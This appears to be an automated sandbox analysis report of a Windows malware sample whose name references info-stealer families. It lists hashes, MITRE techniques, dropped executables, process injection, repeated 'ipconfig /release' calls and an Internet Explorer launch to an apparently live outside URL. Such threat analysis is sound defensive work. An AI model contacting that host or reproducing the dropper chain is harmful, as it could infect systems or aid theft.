c7e6a12d5dda85181f5fbe5bd27d159f126c92141004b56013490121eecf7f5c

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 09:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample261027-kyx2csdb35
SHA256 c7e6a12d5dda85181f5fbe5bd27d159f126c92141004b56013490121eecf7f5c
MD5 b20b9bd6015f5fc77116cc2fd60d5351
SHA1 42b43ae9c1fdcf8a2773b424c5175b124a8f7191
SHA512 4fe102b808b7746341cb5dd54f8ca00a79b68ab24a001aac808fdf4e5cf845ee6da530802c5b9fe9f863bd631cfe520fae7e72effbddaf2a8d06f64bede0ff43
SSDEEP 3072:oGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:vXY4LK+a3lLNngoqRttA7
TLSH
T11934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
924	CP.exe
1720	qkicavsnlf.exe
984	CP.exe
4960	CP.exe
4480	i_qkicavsnlf.exe
4940	vpnhxspkic.sys
4168	CP.exe
3512	caupnhfzxs.exe
3164	CP.exe
708	CP.exe
2512	i_caupnhfzxs.exe
1140	hcausmkecx.sys
1792	CP.exe
1904	amkecxupnh.exe
2500	CP.exe
1704	CP.exe
4880	i_amkecxupnh.exe
4284	usmkecxupm.sys
4836	CP.exe
1548	mhbzuomhez.exe
3744	CP.exe
3680	CP.exe
3264	i_mhbzuomhez.exe
888	jebwuomgey.sys
3496	CP.exe
1728	zwrpjhbztr.exe
2208	CP.exe
4480	CP.exe
3580	i_zwrpjhbztr.exe
3392	erojgbztrl.sys
3108	CP.exe
2364	ljdbwtomge.exe
2528	CP.exe
1652	CP.exe
452	i_ljdbwtomge.exe
4876	trljdbvtol.sys
2064	CP.exe
3964	dywqoigbyt.exe
3492	CP.exe
2140	CP.exe
4284	i_dywqoigbyt.exe
4308	fdyvqoigay.sys
4488	CP.exe
3596	ywqoigavtn.exe
3916	CP.exe
3264	CP.exe
4204	i_ywqoigavtn.exe
4176	avsnlfdxvq.sys
2660	CP.exe
2228	pnifaysqki.exe
1280	CP.exe
3092	CP.exe
1428	i_pnifaysqki.exe
3768	ankfdxvpnh.sys
4964	CP.exe
1736	hfzxspkica.exe
4064	CP.exe
1740	CP.exe
4868	i_hfzxspkica.exe
740	vpnhfaxsqk.sys
3256	CP.exe
4724	causmkecxu.exe
3716	CP.exe
2664	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhbzuomhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qojgbwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnifaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_amkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qojgbwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idasqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amkecxupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhbzuomhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwrpjhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbwtomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_caupnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxspkicsmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxspkicsmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbwtomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnifaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	caupnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwrpjhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idasqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkecxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtolgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupnhfzxrp.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3372	ipconfig.exe
3364	ipconfig.exe
2944	ipconfig.exe
4976	ipconfig.exe
3372	ipconfig.exe
2944	ipconfig.exe
4588	ipconfig.exe
3728	ipconfig.exe
3000	ipconfig.exe
4356	ipconfig.exe
4292	ipconfig.exe
2108	ipconfig.exe
1012	ipconfig.exe
2340	ipconfig.exe
4984	ipconfig.exe
4428	ipconfig.exe
2468	ipconfig.exe
4604	ipconfig.exe
3380	ipconfig.exe
4344	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31286769"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "499856645"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3370905709"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80010acaf165dd01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae5500000000020000000000106600000001000020000000314c9b51298b4adfaf63d8ef3542bf65d001ae53d76ef5f894f0df1b115d0fae000000000e8000000002000020000000d48cfa54d49b4ba0a743d7bfb744964cd9eb2f38e1e376c238ea695046ed32882000000066eebba78e97e51c5232d15c334b3156e978ae37c5c6b6fc82c387a8075ab4634000000015f791bc62c347a7395d0a54d804572517efc283a7d8230d8a8282f69d4537df1a571d6e5b41764e9b7d61c7497fe1f1cb7b751df89ff492450fb5f46118ce07	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3365905762"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae5500000000020000000000106600000001000020000000372b8819bfa4e80e119b046c92b9f3164370d6e62a91a4953e1af259514641f8000000000e8000000002000020000000e676cfb3212d7fdcc4e17499124b3d119189e334936c90b6638872c5d1135924200000008cdeece758fd6916fc6bd270ef8da54ebce80cfe86f8cf9db23f4bfed92bdf13400000000e5c1c3c4e8aaabcab58bebd80f162f6adde7c248c1d478dd797316cd18b98bc6ca1a277f37cdd6b2ca36229b374d4b1222236e22f8e6c663da4e4f3570a5480	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{F42301B0-D1E4-11F1-895E-7E5B85AE0DE4} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31286769"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 801f05caf165dd01	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4480	i_qkicavsnlf.exe
Token: SeDebugPrivilege	2512	i_caupnhfzxs.exe
Token: SeDebugPrivilege	4880	i_amkecxupnh.exe
Token: SeDebugPrivilege	3264	i_mhbzuomhez.exe
Token: SeDebugPrivilege	3580	i_zwrpjhbztr.exe
Token: SeDebugPrivilege	452	i_ljdbwtomge.exe
Token: SeDebugPrivilege	4284	i_dywqoigbyt.exe
Token: SeDebugPrivilege	4204	i_ywqoigavtn.exe
Token: SeDebugPrivilege	1428	i_pnifaysqki.exe
Token: SeDebugPrivilege	4868	i_hfzxspkica.exe
Token: SeDebugPrivilege	2680	i_causmkecxu.exe
Token: SeDebugPrivilege	624	i_ecwupmhfzx.exe
Token: SeDebugPrivilege	3400	i_zurmkecwuo.exe
Token: SeDebugPrivilege	4628	i_qojgbwuomg.exe
Token: SeDebugPrivilege	3344	i_tomywqoigb.exe
Token: SeDebugPrivilege	860	i_ljdbvtolgd.exe
Token: SeDebugPrivilege	5088	i_idasqkidav.exe
Token: SeDebugPrivilege	1468	i_dxvpnifaxs.exe
Token: SeDebugPrivilege	3768	i_zxspkicsmk.exe
Token: SeDebugPrivilege	3332	i_xupnhfzxrp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1196	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1196	iexplore.exe
1196	iexplore.exe
2424	IEXPLORE.EXE
2424	IEXPLORE.EXE
2424	IEXPLORE.EXE
2424	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 1196	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 1196 wrote to memory of 2424	1196	iexplore.exe	86
PID 1824 wrote to memory of 924	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 1720 wrote to memory of 984	1720	qkicavsnlf.exe	93
PID 1824 wrote to memory of 4960	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	97
PID 1824 wrote to memory of 4168	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	104
PID 3512 wrote to memory of 3164	3512	caupnhfzxs.exe	106
PID 1824 wrote to memory of 708	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	109
PID 1824 wrote to memory of 1792	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	113
PID 1904 wrote to memory of 2500	1904	amkecxupnh.exe	115
PID 1824 wrote to memory of 1704	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 1824 wrote to memory of 4836	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 1548 wrote to memory of 3744	1548	mhbzuomhez.exe	124
PID 1824 wrote to memory of 3680	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	127
PID 1824 wrote to memory of 3496	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 1728 wrote to memory of 2208	1728	zwrpjhbztr.exe	135
PID 1824 wrote to memory of 4480	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	138
PID 1824 wrote to memory of 3108	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	142
PID 2364 wrote to memory of 2528	2364	ljdbwtomge.exe	144
PID 1824 wrote to memory of 1652	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	147
PID 1824 wrote to memory of 2064	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 3964 wrote to memory of 3492	3964	dywqoigbyt.exe	153
PID 1824 wrote to memory of 2140	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 1824 wrote to memory of 4488	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 3596 wrote to memory of 3916	3596	ywqoigavtn.exe	162
PID 1824 wrote to memory of 3264	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 1824 wrote to memory of 2660	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 2228 wrote to memory of 1280	2228	pnifaysqki.exe	171
PID 1824 wrote to memory of 3092	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 1824 wrote to memory of 4964	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	178
PID 1736 wrote to memory of 4064	1736	hfzxspkica.exe	180
PID 1824 wrote to memory of 1740	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 1824 wrote to memory of 3256	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 4724 wrote to memory of 3716	4724	causmkecxu.exe	189
PID 1824 wrote to memory of 2664	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 1824 wrote to memory of 912	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	196
PID 4308 wrote to memory of 2948	4308	ecwupmhfzx.exe	198
PID 1824 wrote to memory of 2408	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	201
PID 1824 wrote to memory of 4696	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	205
PID 4456 wrote to memory of 3620	4456	zurmkecwuo.exe	207
PID 1824 wrote to memory of 4348	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	210
PID 1824 wrote to memory of 4280	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	214
PID 1900 wrote to memory of 3580	1900	qojgbwuomg.exe	216
PID 1824 wrote to memory of 2352	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	219
PID 1824 wrote to memory of 3396	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	223
PID 2108 wrote to memory of 4624	2108	tomywqoigb.exe	225
PID 1824 wrote to memory of 1496	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	228
PID 1824 wrote to memory of 3316	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	232
PID 4220 wrote to memory of 872	4220	ljdbvtolgd.exe	234
PID 1824 wrote to memory of 2196	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	237
PID 1824 wrote to memory of 4668	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	241
PID 3324 wrote to memory of 4788	3324	idasqkidav.exe	243
PID 1824 wrote to memory of 3284	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	246
PID 1824 wrote to memory of 2972	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	250
PID 1268 wrote to memory of 4156	1268	dxvpnifaxs.exe	252
PID 1824 wrote to memory of 2384	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	255
PID 1824 wrote to memory of 2720	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	259
PID 3276 wrote to memory of 3180	3276	zxspkicsmk.exe	261
PID 1824 wrote to memory of 1988	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	264
PID 1824 wrote to memory of 4912	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	268
PID 2748 wrote to memory of 4952	2748	xupnhfzxrp.exe	270
PID 1824 wrote to memory of 3088	1824	2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe	273

C:\Users\Admin\AppData\Local\Temp\2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_b20b9bd6015f5fc77116cc2fd60d5351_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1196 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2424
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qkicavsnlf.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:924
- - C:\Temp\qkicavsnlf.exe
    C:\Temp\qkicavsnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:984
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4292
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qkicavsnlf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4960
- - C:\Temp\i_qkicavsnlf.exe
    C:\Temp\i_qkicavsnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\caupnhfzxs.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4168
- - C:\Temp\caupnhfzxs.exe
    C:\Temp\caupnhfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3164
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2108
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_caupnhfzxs.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:708
- - C:\Temp\i_caupnhfzxs.exe
    C:\Temp\i_caupnhfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\amkecxupnh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1792
- - C:\Temp\amkecxupnh.exe
    C:\Temp\amkecxupnh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2500
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1012
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_amkecxupnh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1704
- - C:\Temp\i_amkecxupnh.exe
    C:\Temp\i_amkecxupnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mhbzuomhez.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4836
- - C:\Temp\mhbzuomhez.exe
    C:\Temp\mhbzuomhez.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3744
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2944
